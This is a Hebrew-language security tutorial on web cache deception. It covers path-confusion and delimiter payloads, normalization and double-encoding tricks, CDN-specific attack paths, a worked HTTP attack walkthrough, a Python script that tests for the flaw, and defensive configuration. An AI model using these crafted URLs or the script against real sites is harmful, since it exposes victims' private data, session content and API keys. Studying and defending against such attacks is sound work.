לדלג לתוכן

הטעיית cache - Web Cache Deception

מבוא

הטעיית cache (Web Cache Deception) היא תקיפה שבה התוקף מרמה את הcache לשמור תגובה שמכילה מידע פרטי של הקורבן. בניגוד לCache Poisoning (Cache Poisoning) שבה התוקף מזריק תוכן זדוני לcache, בהטעיית cache התוקף גורם לcache לשמור תוכן לגיטימי שלא אמור להישמר.

Cache poisoning: attacker sends payload -> cache stores malicious response -> victims receive malicious content
Cache deception: victim accesses a special path -> cache stores private response -> attacker reads from the cache

עקרון התקיפה

תהליך התקיפה בשלושה שלבים

Step 1: The attacker sends the victim a crafted link
   https://vulnerable-website.com/account/settings/nonexistent.css

Step 2: The victim clicks the link while logged in
   - The server ignores nonexistent.css and returns the /account/settings page
   - The cache sees the .css extension and stores the response

Step 3: The attacker requests the same URL
   - The cache serves the stored response, which contains the victim's private information

למה זה עובד

הפער בין האופן שבו הcache מחליט מה לשמור לבין האופן שבו השרת מחליט מה להחזיר:

The cache: "the path ends in .css, this is a static file, I'll store it"
The server: "I ignore nonexistent.css, return /account/settings"

בלבול נתיבים - Path Confusion

הוספת סיומת סטטית

הטכניקה הבסיסית ביותר - הוספת שם קובץ סטטי בסוף נתיב דינמי:

Original path:  /account/settings
Crafted path:   /account/settings/anything.css
                 /account/settings/image.png
                 /account/settings/script.js
                 /account/settings/style.woff

שרתים שמשתמשים ב-URL rewriting או שמתעלמים מ-path segments נוספים יחזירו את אותה תגובה:

# Flask - path with catch-all
@app.route('/account/settings', defaults={'path': ''})
@app.route('/account/settings/<path:path>')
def settings(path):
    return render_template('settings.html', user=current_user)
// Spring Boot - ignores path suffix
@GetMapping("/account/settings")
public String settings(Model model) {
    model.addAttribute("user", getCurrentUser());
    return "settings";
}
// Spring Boot ignores suffix matching by default

טריקים עם מפרידים - Delimiter-Based Confusion

שרתים וcaches מפרשים תווים מיוחדים בנתיבים בצורות שונות:

Null Byte

/account/settings%00.css

Server: parses %00 as end of string -> returns /account/settings
Cache: sees the .css extension -> stores

נקודה-פסיק - Path Parameter

/account/settings;.css

Java/Tomcat: ; marks the start of a path parameter -> processes /account/settings
Cache: sees the .css extension -> stores

סימן שאלה מקודד

/account/settings%3f.css

Server (some): decodes %3f to ? -> processes /account/settings?/.css
Cache: sees the .css extension -> stores

סולמית מקודדת

/account/settings%23.css

Server: decodes %23 to # -> ignores .css
Cache: sees the .css extension -> stores

טבלת מפרידים לפי שרת

+-------------------+---------+---------+---------+---------+
| Delimiter         | Apache  | Nginx   | Tomcat  | Node.js |
+-------------------+---------+---------+---------+---------+
| ; (semicolon)     | no      | no      | yes     | no      |
| %00 (null)        | partial | no      | no      | partial |
| %23 (hash)        | no      | no      | no      | partial |
| %3f (question)    | no      | no      | partial | no      |
| . (dot)           | yes*    | no      | yes*    | no      |
+-------------------+---------+---------+---------+---------+
* depends on configuration

הבדלי נרמול URL

נרמול בצד הcache בלבד

Request: /account/settings/..%2fstatic/main.css

Cache normalizes: /account/static/main.css (.css extension, stores)
Server does not normalize: looks for /account/settings/..%2fstatic/main.css -> 404 or /account/settings

נרמול בצד השרת בלבד

Request: /static/..%2faccount/settings

Server normalizes: /account/settings (returns private page)
Cache does not normalize: sees /static/..%2faccount/settings (in the static folder, stores)

הEncoding כפול

Request: /account/settings%252f..%252fstatic/main.css

First decoding step: /account/settings%2f..%2fstatic/main.css
Second decoding step: /account/settings/../static/main.css -> /static/main.css

הExploit התנהגויות CDN ספציפיות

Cloudflare

Default rules:
- Stores in cache by file extension (.css, .js, .png, .jpg, ...)
- Does not store pages without a known extension
- Cache Rules can change the behavior

Attack:
/account/settings/x.css
/account/settings.css  (if the server ignores the extension)

Akamai

Default rules:
- Cache key includes the entire path
- Support for path parameters (semicolon)
- Built-in normalization of paths

Attack:
/account/settings;jsessionid=x.css
/account/settings%00.css

Varnish

Default rules:
- High flexibility in VCL configuration
- Custom cache key can be defined
- Default - stores based on the Cache-Control header

Attack - depends on VCL configuration:
if (req.url ~ "\.(css|js|png|jpg|gif)$") {
    return (hash);  # store in cache
}

Fastly

Similar to Varnish (based on Varnish)
Allows custom configuration in VCL

דוגמה מלאה - תקיפה צעד אחר צעד

שלב 1 - זיהוי שהאפליקציה מחזירה מידע פרטי

GET /account/settings HTTP/1.1
Host: vulnerable-website.com
Cookie: session=victim_session

HTTP/1.1 200 OK
Content-Type: text/html

<html>
  <h1>Account Settings</h1>
  <p>Email: victim@example.com</p>
  <p>API Key: sk-secret-key-12345</p>
  ...
</html>

שלב 2 - זיהוי מנגנון cache

GET /static/main.css HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 OK
X-Cache: hit
Age: 3600
Cache-Control: public, max-age=86400

שלב 3 - בדיקת בלבול נתיבים

GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable-website.com
Cookie: session=victim_session

HTTP/1.1 200 OK
X-Cache: miss
Content-Type: text/html

<html>
  <h1>Account Settings</h1>
  <p>Email: victim@example.com</p>
  ...
</html>

אם השרת מחזיר את דף ההגדרות וה-X-Cache הוא miss - התנאים מתקיימים.

שלב 4 - בדיקה שהתגובה נשמרה

GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable-website.com
(without Cookie)

HTTP/1.1 200 OK
X-Cache: hit

<html>
  <h1>Account Settings</h1>
  <p>Email: victim@example.com</p>
  <p>API Key: sk-secret-key-12345</p>
</html>

שלב 5 - ביצוע התקיפה

1. Send the victim: https://vulnerable-website.com/account/settings/x.css
2. The victim clicks the link (logged into the system)
3. The response is stored in the cache
4. The attacker requests: https://vulnerable-website.com/account/settings/x.css
5. Receives the response with the victim's private information

סקריפט אוטומציה

#!/usr/bin/env python3
"""
Script for detecting cache deception
"""

import requests
import time

def test_cache_deception(base_url, private_path, session_cookie=None):
    """Test for cache deception"""

    extensions = ['.css', '.js', '.png', '.jpg', '.gif', '.ico', '.woff']
    delimiters = ['/', '%00', ';', '%23', '%3f']

    headers = {}
    if session_cookie:
        headers['Cookie'] = f'session={session_cookie}'

    results = []

    for delimiter in delimiters:
        for ext in extensions:
            test_path = f"{private_path}{delimiter}test{ext}"
            test_url = f"{base_url}{test_path}"

            # Request 1 - with session (as if we are the victim)
            resp1 = requests.get(test_url, headers=headers)

            if resp1.status_code != 200:
                continue

            # Check whether the response contains private content
            if 'email' not in resp1.text.lower() and 'api' not in resp1.text.lower():
                continue

            time.sleep(1)

            # Request 2 - without session (as if we are the attacker)
            resp2 = requests.get(test_url)
            cache_status = resp2.headers.get('X-Cache', 'unknown')

            if resp2.status_code == 200 and 'email' in resp2.text.lower():
                results.append({
                    'path': test_path,
                    'delimiter': delimiter,
                    'extension': ext,
                    'cache_status': cache_status
                })
                print(f"[+] Vulnerable! {test_path} (X-Cache: {cache_status})")

    return results

if __name__ == "__main__":
    results = test_cache_deception(
        "https://vulnerable-website.com",
        "/account/settings",
        "your_session_cookie"
    )

    if results:
        print(f"\n[+] Found {len(results)} vulnerable paths")
    else:
        print("\n[-] No vulnerabilities found")

ההבדל בין poisoning להטעיה

מאפיין הCache Poisoning הטעיית cache
מי שולח את הבקשה התוקף הקורבן
מה נשמר בcache תוכן זדוני תוכן פרטי לגיטימי
מי נפגע כל מבקר הקורבן הספציפי
דרישה הheader שאינה במפתח הבדל בפרשנות נתיבים
תוצאה XSS, הפניות גניבת מידע פרטי

הגנה

1. הגדרת Cache-Control על דפים דינמיים

@app.route('/account/settings')
def settings():
    response = make_response(render_template('settings.html'))
    response.headers['Cache-Control'] = 'no-store, private'
    return response
@GetMapping("/account/settings")
public ResponseEntity<String> settings() {
    return ResponseEntity.ok()
        .cacheControl(CacheControl.noStore())
        .header("Pragma", "no-cache")
        .body(renderSettings());
}

2. נרמול URL עקבי

- Make sure the cache and the server normalize URLs the same way
- Reject paths with unexpected extensions
- Reject paths with special characters (%00, ;, %23)

3. הגדרת cache לפי Content-Type

- Instead of determining caching by file extension, use the response's Content-Type
- If the response is text/html, don't store it (unless configured otherwise)
- If the response is application/javascript or text/css, store it

4. החזרת 404 לנתיבים לא מוכרים

# Bad - ignores extra path
@app.route('/account/settings/<path:path>')
def settings_catchall(path):
    return settings()

# Good - returns 404
@app.route('/account/settings')
def settings():
    return render_template('settings.html')
# Every other path will return 404 automatically

5. בדיקת CDN

- Check your CDN's cache rules
- Make sure only specific extensions are stored
- Set up Cache Rules that prevent storing dynamic pages

סיכום

הטעיית cache היא תקיפה אלגנטית שמנצלת את הפער בין האופן שבו הcache מחליט מה לשמור לבין האופן שבו השרת מחליט מה להחזיר. נקודות מפתח:

  • התקיפה דורשת שהקורבן ילחץ על לינק מעוצב
  • בלבול נתיבים, מפרידים ונרמול URL הם וקטורי התקיפה העיקריים
  • התוצאה היא חשיפת מידע פרטי (טוקנים, מפתחות API, נתונים אישיים)
  • ההגנה דורשת Cache-Control נכון, נרמול עקבי, ו-404 לנתיבים לא מוכרים